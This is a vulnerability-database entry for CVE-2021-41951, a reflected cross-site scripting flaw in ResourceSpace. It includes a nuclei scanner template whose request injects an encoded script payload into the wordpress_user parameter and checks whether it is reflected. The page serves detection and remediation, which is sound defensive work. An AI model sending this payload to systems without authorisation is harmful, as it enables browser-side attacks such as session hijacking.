HexBrain

Browse / CVEs / CVE-2021-41951

CVE-2021-41951· montala / resourcespace· CWE-79

Resourcespace - Cross-Site Scripting

mediumseverity
6.1CVSS score
77.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ResourceSpace before 9.6 rev 18290 is affected by a reflected cross-site scripting vulnerability in plugins/wordpress_sso/pages/index.php via the wordpress_user parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: GET {{BaseURL}}/plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E
Positive when: contains "TEST<script>alert(1)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-41951 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41951

info:
  name: Resourcespace - Cross-Site Scripting
  author: coldfish
  severity: medium
  description: ResourceSpace before 9.6 rev 18290 is affected by a reflected cross-site scripting vulnerability in plugins/wordpress_sso/pages/index.php via the wordpress_user parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41951
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/nvn1729/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41951
    cwe-id: CWE-79
    epss-score: 0.77892
    epss-percentile: 0.99574
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: montala
    product: resourcespace
  tags: cve2021,cve,xss,resourcespace,montala,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "TEST<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from